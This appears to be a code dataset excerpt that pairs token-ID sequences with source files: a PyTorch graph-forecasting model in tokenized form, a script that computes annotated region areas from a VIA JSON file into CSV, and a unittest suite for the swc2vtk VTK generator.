4706,
476,
29892,
29963,
353,
921,
29892,
29916,
13,
4706,
660,
353,
1583,
29889,
22676,
29918,
29939,
396,
29940,
29930,
29895,
29918,
6229,
13,
4706,
476,
353,
1583,
29889,
29956,
29918,
29895,
29898,
29968,
29897,
396,
29933,
29930,
29940,
29930,
29931,
29930,
29895,
29918,
6229,
13,
4706,
8570,
353,
4842,
305,
29889,
29872,
1144,
398,
877,
29876,
29895,
29892,
11197,
29880,
29895,
976,
11197,
29880,
742,
29984,
29892,
29968,
6802,
29898,
1311,
29889,
29939,
29895,
6229,
1068,
29900,
29889,
29945,
29897,
13,
4706,
8570,
353,
383,
29889,
2695,
3317,
29898,
1131,
2509,
29892,
6229,
353,
448,
29896,
29897,
13,
308,
13,
4706,
478,
353,
8570,
29889,
690,
14443,
29898,
29933,
29892,
29940,
6653,
29896,
29892,
29896,
29897,
334,
478,
13,
29937,
308,
478,
353,
4842,
305,
29889,
29872,
1144,
398,
877,
29890,
865,
29892,
29890,
865,
29895,
976,
11197,
29895,
742,
1131,
2509,
29892,
29963,
29897,
13,
4706,
478,
353,
478,
29889,
690,
14443,
29898,
29933,
29892,
29940,
6653,
29896,
29897,
13,
4706,
478,
353,
1583,
29889,
29956,
29918,
29894,
29898,
29963,
29897,
396,
29933,
29930,
29940,
29930,
449,
29918,
6229,
13,
13,
4706,
736,
478,
13,
268,
13,
268,
13,
1990,
365,
1254,
29924,
29918,
11014,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
262,
29918,
12719,
29892,
449,
29918,
12719,
29892,
7165,
353,
29871,
29906,
29946,
1125,
13,
4706,
2428,
29898,
29931,
1254,
29924,
29918,
11014,
29892,
1311,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
7165,
353,
3474,
13,
13,
4706,
1583,
29889,
29878,
15755,
3729,
353,
302,
29876,
29889,
29931,
1254,
29924,
4617,
29898,
262,
29918,
12719,
29892,
449,
29918,
12719,
29897,
13,
4706,
1583,
29889,
29893,
29918,
11014,
353,
302,
29876,
29889,
12697,
29898,
449,
29918,
12719,
29892,
449,
29918,
12719,
29897,
13,
13,
4706,
1583,
29889,
29882,
29900,
353,
302,
29876,
29889,
9329,
29898,
7345,
305,
29889,
9502,
29876,
29898,
29896,
29892,
714,
29918,
12719,
876,
13,
4706,
1583,
29889,
29883,
29900,
353,
302,
29876,
29889,
9329,
29898,
7345,
305,
29889,
9502,
29876,
29898,
29896,
29892,
714,
29918,
12719,
876,
13,
308,
13,
4706,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
29893,
29918,
11014,
29889,
7915,
29897,
13,
4706,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
29882,
29900,
29897,
13,
4706,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
29883,
29900,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
29916,
1125,
13,
4706,
350,
29892,
29911,
29892,
29883,
353,
921,
29889,
12181,
13,
308,
13,
4706,
298,
29916,
353,
1583,
29889,
29882,
29900,
29889,
14358,
29898,
29933,
29892,
29896,
29897,
13,
4706,
28232,
353,
1583,
29889,
29883,
29900,
29889,
14358,
29898,
29933,
29892,
29896,
29897,
13,
4706,
1962,
353,
5159,
13,
4706,
363,
474,
297,
3464,
29898,
29911,
1125,
13,
9651,
565,
474,
18572,
1311,
29889,
7165,
29901,
13,
18884,
298,
29916,
29892,
28232,
353,
1583,
29889,
29878,
15755,
3729,
29898,
29916,
7503,
29892,
29875,
1402,
313,
29882,
29916,
29974,
1311,
29889,
29893,
29918,
11014,
29898,
4905,
29961,
29875,
29899,
1311,
29889,
7165,
11724,
28232,
876,
13,
9651,
1683,
29901,
13,
18884,
298,
29916,
29892,
28232,
353,
1583,
29889,
29878,
15755,
3729,
29898,
29916,
7503,
29892,
29875,
1402,
313,
29882,
29916,
29892,
28232,
876,
13,
9651,
1962,
29889,
4397,
29898,
29882,
29916,
29897,
13,
308,
13,
4706,
1962,
353,
4842,
305,
29889,
1429,
29898,
4905,
29892,
8990,
353,
29871,
29896,
29897,
13,
4706,
736,
1962,
22657,
29882,
29916,
29892,
18904,
29897,
4706,
13,
632,
13,
1990,
319,
29906,
8766,
29940,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1949,
29918,
18010,
29892,
262,
29918,
29911,
29892,
262,
29918,
6229,
29892,
449,
29918,
29911,
29892,
449,
29918,
6229,
29922,
29896,
29892,
9910,
29918,
17987,
29881,
886,
29922,
8516,
29892,
1457,
12119,
29918,
29954,
29922,
8516,
29892,
13,
462,
29234,
29922,
29896,
29945,
29892,
351,
29880,
29918,
6229,
353,
29871,
29941,
29906,
29892,
13,
462,
274,
15755,
29918,
17460,
353,
29871,
29941,
29892,
13,
462,
330,
15755,
29918,
29277,
29922,
29906,
29892,
8865,
449,
29922,
29900,
29889,
29941,
29892,
12719,
29922,
29941,
29906,
29892,
5138,
29876,
29918,
12719,
29922,
8516,
29892,
1131,
296,
1848,
29918,
23445,
29918,
12719,
29922,
8516,
29892,
13,
462,
4742,
29922,
8516,
1125,
396,
29892,
1068,
19290,
1125,
13,
4706,
14550,
13,
4706,
954,
29918,
18010,
29901,
13,
4706,
297,
29918,
29911,
29901,
15839,
3309,
13,
4706,
297,
29918,
6229,
29901,
13,
4706,
714,
29918,
29911,
29901,
29821,
579,
292,
5434,
3309,
13,
4706,
714,
29918,
6229,
29901,
29821,
579,
292,
5434,
9927,
29892,
5491,
338,
29871,
29896,
13,
4706,
2473,
29918,
17987,
29881,
886,
29901,
746,
278,
1881,
505,
777,
25406,
19554,
4682,
29892,
763,
4098,
29892,
4723,
3250,
29892,
8753,
22394,
29892,
2992,
29889,
13,
462,
4706,
817,
304,
8369,
393,
29892,
278,
1881,
1818,
11474,
29958,
418,
9126,
5680,
313,
29895,
29899,
6229,
29897,
3830,
4117,
259,
19554,
5680,
313,
262,
29918,
29911,
448,
413,
29899,
6229,
29897,
13,
4706,
758,
12119,
29918,
29954,
29901,
1404,
4450,
361,
1312,
3983,
13,
4706,
29234,
313,
524,
1125,
5110,
519,
4636,
29914,
4262,
805,
1503,
537,
13,
4706,
330,
15755,
29918,
29277,
29901,
278,
15359,
310,
330,
15755,
13,
4706,
5768,
449,
29901,
13,
4706,
8242,
29901,
671,
445,
760,
304,
731,
599,
278,
7934,
9927,
310,
319,
29906,
8766,
29940,
13,
4706,
4742,
29901,
26403,
470,
274,
6191,
29901,
29900,
470,
274,
6191,
29901,
29896,
13,
4706,
14550,
13,
4706,
2428,
29898,
29909,
29906,
8766,
29940,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
308,
13,
13,
4706,
1583,
29889,
1949,
29918,
18010,
353,
954,
29918,
18010,
13,
4706,
1583,
29889,
262,
29918,
29911,
353,
297,
29918,
29911,
13,
4706,
1583,
29889,
262,
29918,
6229,
353,
297,
29918,
6229,
13,
4706,
1583,
29889,
449,
29918,
29911,
353,
714,
29918,
29911,
13,
4706,
1583,
29889,
449,
29918,
6229,
353,
714,
29918,
6229,
13,
4706,
8242,
353,
8242,
13,
4706,
330,
15755,
29918,
12719,
353,
8242,
29930,
29947,
565,
330,
15755,
29918,
12719,
338,
6213,
1683,
330,
15755,
29918,
12719,
13,
4706,
1098,
296,
1848,
29918,
23445,
29918,
12719,
353,
8242,
29930,
29896,
29953,
565,
1098,
296,
1848,
29918,
23445,
29918,
12719,
338,
6213,
1683,
1098,
296,
1848,
29918,
23445,
29918,
12719,
13,
308,
13,
4706,
1583,
29889,
9910,
29918,
17987,
29881,
886,
353,
2473,
29918,
17987,
29881,
886,
13,
308,
13,
4706,
565,
1583,
29889,
9910,
29918,
17987,
29881,
886,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
1590,
5779,
353,
14974,
29918,
17987,
29898,
9910,
29918,
17987,
29881,
886,
29897,
13,
9651,
1583,
29889,
2962,
29918,
13801,
353,
302,
29876,
29889,
12697,
29898,
13,
18884,
297,
29918,
6229,
29899,
2435,
29898,
1311,
29889,
9910,
29918,
17987,
29881,
886,
7240,
2083,
4197,
29926,
363,
474,
29892,
29926,
297,
1583,
29889,
9910,
29918,
17987,
29881,
886,
11724,
8242,
29897,
13,
9651,
1583,
29889,
2962,
29918,
29883,
15755,
353,
4842,
305,
29889,
15755,
29889,
1168,
29894,
29906,
29881,
29898,
262,
29918,
6229,
29899,
2435,
29898,
1311,
29889,
9910,
29918,
17987,
29881,
886,
7240,
2083,
4197,
29926,
363,
474,
29892,
29926,
297,
1583,
29889,
9910,
29918,
17987,
29881,
886,
11724,
12719,
29892,
17460,
29918,
2311,
7607,
29896,
29892,
29883,
15755,
29918,
17460,
511,
12791,
353,
313,
29900,
29892,
29883,
15755,
29918,
17460,
458,
29906,
876,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
1590,
5779,
353,
6213,
13,
9651,
1583,
29889,
2962,
29918,
13801,
353,
302,
29876,
29889,
12697,
29898,
262,
29918,
6229,
29892,
12719,
29897,
13,
9651,
1583,
29889,
2962,
29918,
29883,
15755,
353,
4842,
305,
29889,
15755,
29889,
1168,
29894,
29906,
29881,
29898,
262,
29918,
6229,
29892,
12719,
29892,
17460,
29918,
2311,
7607,
29896,
29892,
29941,
511,
12791,
353,
313,
29900,
29892,
29896,
876,
13,
308,
13,
632,
13,
4706,
1583,
29889,
2962,
29918,
29878,
15755,
353,
302,
29876,
29889,
29931,
1254,
29924,
29898,
12719,
29892,
12719,
29892,
16175,
29918,
4102,
353,
5852,
29897,
13,
29937,
308,
1583,
29889,
2962,
29918,
29878,
15755,
353,
365,
1254,
29924,
29918,
11014,
29898,
12719,
29892,
12719,
29897,
13,
308,
13,
4706,
1583,
29889,
5066,
296,
29918,
4262,
353,
11133,
29918,
4262,
29918,
1945,
1089,
29898,
1949,
29918,
18010,
29892,
29879,
5510,
29892,
351,
29880,
29918,
6229,
29897,
13,
4706,
1583,
29918,
26859,
353,
302,
29876,
29889,
9329,
29898,
7345,
305,
29889,
1032,
29872,
29898,
1949,
29918,
18010,
29892,
1949,
29918,
18010,
11877,
29896,
29889,
29900,
29892,
6858,
29918,
5105,
29922,
8824,
29897,
13,
308,
13,
4706,
1583,
29889,
4262,
29879,
353,
758,
12119,
29918,
29954,
565,
758,
12119,
29918,
29954,
338,
451,
6213,
1683,
5159,
13,
4706,
1583,
29889,
2435,
29918,
1457,
353,
7431,
29898,
1311,
29889,
4262,
29879,
29897,
13,
4706,
1583,
29889,
4262,
29879,
29889,
4397,
29898,
1311,
29918,
26859,
29897,
13,
4706,
1583,
29889,
4262,
29879,
353,
518,
29875,
29889,
517,
29898,
10141,
29897,
363,
474,
297,
1583,
29889,
4262,
29879,
29962,
13,
4706,
1596,
877,
2435,
18445,
338,
6571,
4286,
4830,
29898,
2435,
29898,
1311,
29889,
4262,
29879,
4961,
13,
308,
13,
4706,
1583,
29889,
3177,
29918,
17987,
8497,
353,
302,
29876,
29889,
9329,
29898,
7345,
305,
29889,
9502,
29876,
29898,
29906,
29892,
1949,
29918,
18010,
29892,
29941,
29906,
876,
13,
308,
13,
4706,
1583,
29889,
5138,
1983,
353,
302,
29876,
29889,
7355,
1293,
580,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
1311,
29889,
4262,
29879,
7240,
29896,
1125,
13,
9651,
1583,
29889,
5138,
1983,
29889,
4397,
29898,
29954,
10262,
29918,
7445,
29898,
262,
29918,
29911,
29930,
12719,
29892,
5138,
29876,
29918,
12719,
29892,
5138,
29876,
29918,
29277,
29892,
8865,
449,
876,
13,
632,
13,
308,
13,
4706,
3191,
714,
29918,
6229,
1818,
5186,
304,
29871,
29896,
29889,
13,
4706,
1583,
29889,
23445,
29918,
1945,
1089,
353,
6212,
296,
1848,
29918,
23445,
29918,
1945,
1089,
29898,
1949,
29918,
18010,
29892,
5138,
29876,
29918,
29277,
16395,
2435,
29898,
1311,
29889,
4262,
29879,
7240,
29896,
511,
5138,
29876,
29918,
12719,
29892,
1131,
296,
1848,
29918,
23445,
29918,
12719,
29892,
1311,
29889,
449,
29918,
29911,
29930,
1311,
29889,
449,
29918,
6229,
29897,
13,
308,
13,
308,
13,
4706,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
2962,
29918,
13801,
29889,
7915,
29897,
13,
4706,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
2962,
29918,
29883,
15755,
29889,
7915,
29897,
13,
4706,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
23538,
1311,
29889,
3177,
29918,
17987,
8497,
29897,
13,
308,
13,
308,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
565,
921,
29889,
12181,
29961,
29941,
29962,
29966,
1311,
29889,
262,
29918,
29911,
29901,
13,
9651,
921,
353,
302,
29876,
29889,
2220,
284,
29889,
8305,
29898,
29916,
22657,
1311,
29889,
262,
29918,
29911,
29899,
29916,
29889,
12181,
29961,
29941,
1402,
29900,
29892,
29900,
29892,
29900,
876,
13,
4706,
350,
29892,
12719,
29892,
29940,
29892,
29911,
353,
921,
29889,
12181,
13,
4706,
921,
353,
921,
29889,
17858,
1082,
29898,
29900,
29892,
29906,
29892,
29941,
29892,
29896,
467,
1285,
5526,
681,
580,
13,
308,
13,
4706,
565,
1583,
29889,
9910,
29918,
17987,
29881,
886,
338,
451,
6213,
29901,
13,
9651,
5694,
353,
7431,
29898,
1311,
29889,
9910,
29918,
17987,
29881,
886,
29897,
13,
9651,
396,
2218,
9084,
5680,
23655,
13,
9651,
921,
353,
4842,
305,
29889,
4117,
4197,
29916,
7503,
29892,
29901,
29892,
29901,
29892,
13018,
7382,
1402,
1311,
29889,
1590,
5779,
29898,
29916,
7503,
29892,
29901,
29892,
29901,
6653,
7382,
29901,
2314,
1402,
6229,
353,
448,
29896,
29897,
13,
9651,
13,
4706,
396,
29916,
353,
1583,
29889,
2962,
29918,
13801,
29898,
29916,
29897,
13,
308,
13,
4706,
396,
671,
274,
15755,
363,
848,
13,
4706,
921,
353,
921,
29889,
17858,
1082,
29898,
29900,
29892,
29941,
29892,
29896,
29892,
29906,
29897,
396,
976,
29933,
29930,
29907,
29930,
29940,
29930,
29911,
13,
4706,
921,
353,
1583,
29889,
2962,
29918,
29883,
15755,
29898,
29916,
29897,
13,
4706,
921,
353,
921,
29889,
17858,
1082,
29898,
29900,
29892,
29906,
29892,
29941,
29892,
29896,
29897,
13,
308,
13,
4706,
921,
353,
921,
29889,
690,
14443,
29898,
29933,
29930,
29940,
29892,
29911,
6653,
29896,
29897,
13,
4706,
921,
22657,
3123,
29892,
18038,
29897,
353,
1583,
29889,
2962,
29918,
29878,
15755,
29898,
29916,
29897,
13,
4706,
396,
921,
353,
1583,
29889,
2962,
29918,
29911,
29918,
1131,
29898,
29916,
29897,
13,
4706,
921,
353,
921,
29889,
1285,
5526,
681,
2141,
690,
14443,
29898,
29933,
29892,
29940,
6653,
29896,
29897,
13,
308,
13,
4706,
8220,
353,
4842,
305,
29889,
29872,
1144,
398,
877,
682,
29892,
326,
29895,
976,
262,
29885,
742,
1311,
29889,
3177,
29918,
17987,
8497,
29892,
1311,
29889,
3177,
29918,
17987,
8497,
6802,
29898,
29941,
29906,
1068,
29900,
29889,
29945,
29897,
13,
308,
13,
4706,
6471,
29918,
1725,
29874,
29922,
2636,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
1311,
29889,
5138,
1983,
22164,
13,
9651,
903,
26859,
353,
1583,
29889,
4262,
29879,
29961,
29875,
29962,
565,
474,
2804,
7431,
29898,
1311,
29889,
5138,
1983,
6817,
29896,
1683,
1583,
29889,
5066,
296,
29918,
4262,
580,
13,
9651,
565,
474,
529,
1311,
29889,
2435,
29918,
1457,
29901,
13,
18884,
903,
26859,
353,
9423,
26859,
29958,
29900,
11877,
23445,
29961,
29875,
29962,
13,
9651,
6471,
29918,
1725,
29874,
29889,
4397,
29898,
1311,
29889,
5138,
1983,
29961,
29875,
850,
29916,
29892,
29918,
26859,
876,
13,
462,
13,
4706,
6471,
29918,
1725,
29874,
353,
4842,
305,
29889,
4117,
29898,
13155,
29918,
1725,
29874,
29892,
6229,
353,
29871,
29906,
29897,
13,
4706,
714,
353,
1583,
29889,
23445,
29918,
1945,
1089,
29898,
13155,
29918,
1725,
29874,
29897,
13,
13,
4706,
714,
353,
714,
29889,
690,
14443,
29898,
29933,
29892,
29940,
29892,
1311,
29889,
449,
29918,
29911,
29892,
1311,
29889,
449,
29918,
6229,
467,
17858,
1082,
29898,
29900,
29892,
29906,
29892,
29896,
29892,
29941,
467,
1285,
5526,
681,
580,
13,
4706,
736,
714,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1243,
29918,
4299,
353,
319,
29906,
8766,
29940,
29898,
1949,
29918,
18010,
29922,
29896,
29900,
29900,
29892,
262,
29918,
29911,
29922,
29896,
29906,
29892,
262,
29918,
6229,
29922,
29941,
29892,
449,
29918,
29911,
29922,
29953,
29892,
449,
29918,
6229,
29922,
29896,
29892,
9910,
29918,
17987,
29881,
886,
29922,
8516,
29892,
1457,
12119,
29918,
29954,
11759,
7345,
305,
29889,
9502,
29876,
29898,
29896,
29900,
29900,
29892,
29896,
29900,
29900,
29897,
1402,
29879,
5510,
29922,
29896,
29945,
29892,
5138,
29876,
29918,
29277,
29922,
29906,
29892,
8865,
449,
29922,
29900,
29889,
29941,
29892,
12719,
29922,
29941,
29906,
29897,
13,
1678,
921,
353,
4842,
305,
29889,
9502,
29876,
29898,
29945,
29892,
29941,
29892,
29896,
29900,
29900,
29892,
29896,
29906,
29897,
13,
1678,
714,
353,
1243,
29918,
4299,
29898,
29916,
29897,
13,
1678,
1596,
29898,
449,
29889,
12181,
29897,
2
] |
scripts/data_handeling/calculate_areas_from_json.py | dekelmeirom/pathologylab | 0 | 139566 | <gh_stars>0
#!/usr/bin/env python
import json
import numpy as np
import os
import csv
import argparse
def poly_area(x, y, absoluteValue = True):
result = 0.5 * np.abs(np.dot(x[:-1], y[1:]) + x[-1]*y[0] - np.dot(y[:-1], x[1:]) - y[-1]*x[0])
if absoluteValue:
return abs(result)
else:
return result
def calculate_areas_from_json(json_path, output_path):
with open(json_path) as json_file:
json_data = json.load(json_file)
images = json_data["_via_img_metadata"]
images_names = list(images.keys())
with open(os.path.join(output_path, "PDL_areas.csv"), mode='w', newline='') as csv_file:
csv_writer = csv.writer(csv_file, delimiter=',')
csv_writer.writerow(["image_name", "positive area", "negative area"])
for image_name in images_names:
image = images[image_name]
positive_area = 0
negative_area = 0
for region in image['regions']:
area = poly_area(region["shape_attributes"]["all_points_x"], region["shape_attributes"]["all_points_y"])
if region['region_attributes']['type'] == '2':
negative_area += area
elif region['region_attributes']['type'] == '3':
positive_area += area
csv_writer.writerow([image_name, positive_area, negative_area])
def main():
parser = argparse.ArgumentParser(description='This script is ...'
, formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("--input", "-i", default="./CCD_Project.json",
help="Path to where the json file is saved. default='./CCD_Project.json'")
parser.add_argument("--output", "-o", default="./output",
help="Directory name where the result csv file will be saved. default='./output'")
args = parser.parse_args()
calculate_areas_from_json(args.input, args.output)
return
if __name__ == "__main__":
main()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
13,
5215,
4390,
13,
5215,
12655,
408,
7442,
13,
5215,
2897,
13,
5215,
11799,
13,
5215,
1852,
5510,
13,
13,
1753,
15680,
29918,
6203,
29898,
29916,
29892,
343,
29892,
8380,
1917,
353,
5852,
1125,
13,
13,
1678,
1121,
353,
29871,
29900,
29889,
29945,
334,
7442,
29889,
6897,
29898,
9302,
29889,
6333,
29898,
29916,
7503,
29899,
29896,
1402,
343,
29961,
29896,
29901,
2314,
718,
921,
14352,
29896,
14178,
29891,
29961,
29900,
29962,
448,
7442,
29889,
6333,
29898,
29891,
7503,
29899,
29896,
1402,
921,
29961,
29896,
29901,
2314,
448,
343,
14352,
29896,
14178,
29916,
29961,
29900,
2314,
13,
1678,
565,
8380,
1917,
29901,
13,
4706,
736,
6425,
29898,
2914,
29897,
13,
1678,
1683,
29901,
13,
4706,
736,
1121,
13,
268,
13,
1753,
8147,
29918,
598,
294,
29918,
3166,
29918,
3126,
29898,
3126,
29918,
2084,
29892,
1962,
29918,
2084,
1125,
13,
1678,
411,
1722,
29898,
3126,
29918,
2084,
29897,
408,
4390,
29918,
1445,
29901,
13,
4706,
4390,
29918,
1272,
353,
4390,
29889,
1359,
29898,
3126,
29918,
1445,
29897,
13,
1678,
4558,
353,
4390,
29918,
1272,
3366,
29918,
6071,
29918,
2492,
29918,
19635,
3108,
13,
1678,
4558,
29918,
7039,
353,
1051,
29898,
8346,
29889,
8149,
3101,
13,
1678,
411,
1722,
29898,
359,
29889,
2084,
29889,
7122,
29898,
4905,
29918,
2084,
29892,
376,
29925,
19558,
29918,
598,
294,
29889,
7638,
4968,
4464,
2433,
29893,
742,
25899,
2433,
1495,
408,
11799,
29918,
1445,
29901,
13,
4706,
11799,
29918,
13236,
353,
11799,
29889,
13236,
29898,
7638,
29918,
1445,
29892,
28552,
29922,
742,
1495,
13,
4706,
11799,
29918,
13236,
29889,
13236,
340,
29898,
3366,
3027,
29918,
978,
613,
376,
1066,
3321,
4038,
613,
376,
22198,
4038,
20068,
13,
4706,
363,
1967,
29918,
978,
297,
4558,
29918,
7039,
29901,
13,
9651,
1967,
353,
4558,
29961,
3027,
29918,
978,
29962,
13,
9651,
6374,
29918,
6203,
353,
29871,
29900,
13,
9651,
8178,
29918,
6203,
353,
29871,
29900,
13,
9651,
363,
5120,
297,
1967,
1839,
1727,
1080,
2033,
29901,
13,
18884,
4038,
353,
15680,
29918,
6203,
29898,
12803,
3366,
12181,
29918,
15697,
3108,
3366,
497,
29918,
9748,
29918,
29916,
12436,
5120,
3366,
12181,
29918,
15697,
3108,
3366,
497,
29918,
9748,
29918,
29891,
20068,
13,
18884,
565,
5120,
1839,
12803,
29918,
15697,
16215,
1853,
2033,
1275,
525,
29906,
2396,
13,
462,
1678,
8178,
29918,
6203,
4619,
4038,
13,
18884,
25342,
5120,
1839,
12803,
29918,
15697,
16215,
1853,
2033,
1275,
525,
29941,
2396,
13,
462,
1678,
6374,
29918,
6203,
4619,
4038,
13,
9651,
11799,
29918,
13236,
29889,
13236,
340,
4197,
3027,
29918,
978,
29892,
6374,
29918,
6203,
29892,
8178,
29918,
6203,
2314,
13,
308,
13,
1753,
1667,
7295,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
2433,
4013,
2471,
338,
2023,
29915,
13,
462,
462,
1678,
1919,
883,
2620,
29918,
1990,
29922,
1191,
5510,
29889,
22131,
1626,
29648,
18522,
29897,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
2080,
613,
11663,
29875,
613,
2322,
543,
6904,
4174,
29928,
29918,
7653,
29889,
3126,
613,
13,
462,
4706,
1371,
543,
2605,
304,
988,
278,
4390,
934,
338,
7160,
29889,
2322,
2433,
6904,
4174,
29928,
29918,
7653,
29889,
3126,
29915,
1159,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
4905,
613,
11663,
29877,
613,
2322,
543,
6904,
4905,
613,
13,
462,
4706,
1371,
543,
9882,
1024,
988,
278,
1121,
11799,
934,
674,
367,
7160,
29889,
2322,
2433,
6904,
4905,
29915,
1159,
13,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
1678,
8147,
29918,
598,
294,
29918,
3166,
29918,
3126,
29898,
5085,
29889,
2080,
29892,
6389,
29889,
4905,
29897,
13,
268,
13,
1678,
736,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1667,
580,
13,
2
] |
tests/test_vtkgenerator.py | donghaozhang/swc2vtk | 9 | 99094 | <gh_stars>1-10
# -*- coding: utf-8 -*-
import unittest
import os
import swc2vtk
class TestVtkGenerator(unittest.TestCase):
@classmethod
def setUpClass(cls):
pass
@classmethod
def tearDownClass(cls):
pass
def setUp(self):
self.swc_file_path = os.path.join('tests', 'simple.swc')
self.data_file_path = os.path.join('tests', 'simple.dat')
self.output_file_path = os.path.join('output.vtk')
self.vtk_generator = swc2vtk.VtkGenerator()
def tearDown(self):
self.vtk_generator.write_vtk(self.output_file_path)
def test_add_cylinder(self):
self.vtk_generator.add_cylinder()
def test_add_swc(self):
simple_cmp_size = 11
self.vtk_generator.add_swc(self.swc_file_path)
self.assertEqual(simple_cmp_size, len(self.vtk_generator.swc_list[0].data))
def test_add_swc_flip(self):
simple_cmp_size = 11
self.vtk_generator.add_swc(self.swc_file_path, inv_x=True, inv_y=True, inv_z=True,
shift_x=100, shift_y=100, shift_z=100)
self.assertEqual(simple_cmp_size, len(self.vtk_generator.swc_list[0].data))
def test_add_datafile(self):
simple_cmp_size = 11
self.vtk_generator.add_swc(self.swc_file_path)
self.vtk_generator.add_datafile(self.data_file_path)
self.assertEqual(simple_cmp_size, len(self.vtk_generator.swc_list[0].data))
def test_draw_mode1(self):
self.vtk_generator.set_draw_mode(1)
self.vtk_generator.add_swc(self.swc_file_path)
def test_draw_mode2(self):
self.vtk_generator.set_draw_mode(2)
self.vtk_generator.add_swc(self.swc_file_path)
def test_draw_mode3(self):
self.vtk_generator.set_draw_mode(3)
self.vtk_generator.add_swc(self.swc_file_path)
def test_draw_mode4(self):
self.vtk_generator.set_draw_mode(4)
self.vtk_generator.add_swc(self.swc_file_path)
def test_write_vtk_options(self):
self.vtk_generator.add_swc(self.swc_file_path)
self.vtk_generator.write_vtk(self.output_file_path, fixedval=True, movingval=True, coloring=True,
diam_ratio=0.2, normalize_diam=True, radius_data=True, type_data=True)
def test_write_volume_vtk(self):
self.vtk_generator.add_swc(self.swc_file_path)
self.vtk_generator.write_volume_vtk('simple.vtk', origin=(-10.0, -10.0, -10.0), ratio=(1, 1, 1), div=(20, 20, 20))\
def test_add_mark(self):
self.vtk_generator.add_swc(self.swc_file_path)
self.vtk_generator.add_mark()
def test_add_swc_connection(self):
self.vtk_generator.add_swc(self.swc_file_path)
self.vtk_generator.add_swc_connection(0, 0, 100, 200)
def suite():
suite = unittest.TestSuite()
suite.addTests(unittest.makeSuite(TestVtkGenerator))
return suite
if __name__ == '__main__':
unittest.main()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
5215,
443,
27958,
13,
5215,
2897,
13,
5215,
2381,
29883,
29906,
29894,
11178,
13,
13,
13,
1990,
4321,
29963,
11178,
21575,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
731,
3373,
2385,
29898,
25932,
1125,
13,
4706,
1209,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
734,
279,
6767,
2385,
29898,
25932,
1125,
13,
4706,
1209,
13,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
1583,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
877,
21150,
742,
525,
12857,
29889,
2774,
29883,
1495,
13,
4706,
1583,
29889,
1272,
29918,
1445,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
877,
21150,
742,
525,
12857,
29889,
4130,
1495,
13,
4706,
1583,
29889,
4905,
29918,
1445,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
877,
4905,
29889,
29894,
11178,
1495,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
353,
2381,
29883,
29906,
29894,
11178,
29889,
29963,
11178,
21575,
580,
13,
13,
1678,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
3539,
29918,
29894,
11178,
29898,
1311,
29889,
4905,
29918,
1445,
29918,
2084,
29897,
13,
13,
1678,
822,
1243,
29918,
1202,
29918,
1270,
29880,
4995,
29898,
1311,
1125,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
1270,
29880,
4995,
580,
13,
13,
1678,
822,
1243,
29918,
1202,
29918,
2774,
29883,
29898,
1311,
1125,
13,
4706,
2560,
29918,
21058,
29918,
2311,
353,
29871,
29896,
29896,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29898,
1311,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
12857,
29918,
21058,
29918,
2311,
29892,
7431,
29898,
1311,
29889,
29894,
11178,
29918,
27959,
29889,
2774,
29883,
29918,
1761,
29961,
29900,
1822,
1272,
876,
13,
13,
1678,
822,
1243,
29918,
1202,
29918,
2774,
29883,
29918,
29888,
3466,
29898,
1311,
1125,
13,
4706,
2560,
29918,
21058,
29918,
2311,
353,
29871,
29896,
29896,
13,
4706,
1583,
29889,
29894,
11178,
29918,
27959,
29889,
1202,
29918,
2774,
29883,
29898,
1311,
29889,
2774,
29883,
29918,
1445,
29918,
2084,
29892,
2437,
29918,
29916,
29922,
5574,
29892,
2437,
29918,
29891,
29922,
5574,
29892,
2437,
29918,
29920,
29922,
5574,
29892,
13,
462,
462,
259,
9500,
29918,
29916,
29922,
29896,
29900,
29900,
29892,
9500,
29918,
29891,
29922,
29896,
